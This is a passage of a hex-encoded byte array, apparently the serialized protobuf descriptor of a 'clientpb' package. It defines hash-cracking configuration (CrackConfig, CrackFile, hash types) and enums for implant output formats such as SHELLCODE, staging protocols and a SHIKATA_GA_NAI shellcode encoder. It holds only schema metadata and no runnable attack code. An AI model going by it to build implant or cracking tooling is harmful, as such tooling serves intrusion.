0x6c, 0x79, 0x41, - 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, - 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, - 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, - 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, - 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, - 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, - 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, - 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, - 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, - 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, - 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, - 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, - 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, - 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, - 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, - 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, - 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, - 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, - 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, - 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, - 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, - 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, - 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, - 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, - 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, - 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, - 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, - 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, - 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, - 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, - 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, - 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, - 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, - 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, - 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, - 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, - 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, - 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, - 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, - 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, - 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, - 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, - 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, - 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, - 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, - 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, - 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, - 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, - 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, - 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, - 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, - 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, - 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, - 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, - 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, - 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, - 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, - 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, - 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, - 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, - 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, - 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, - 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, - 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, - 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, - 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, - 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, - 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, - 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, - 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, - 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, - 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, - 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, - 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, - 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, - 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, - 0x2f, 0x12, 0x0c, 0x0a, 0x07, 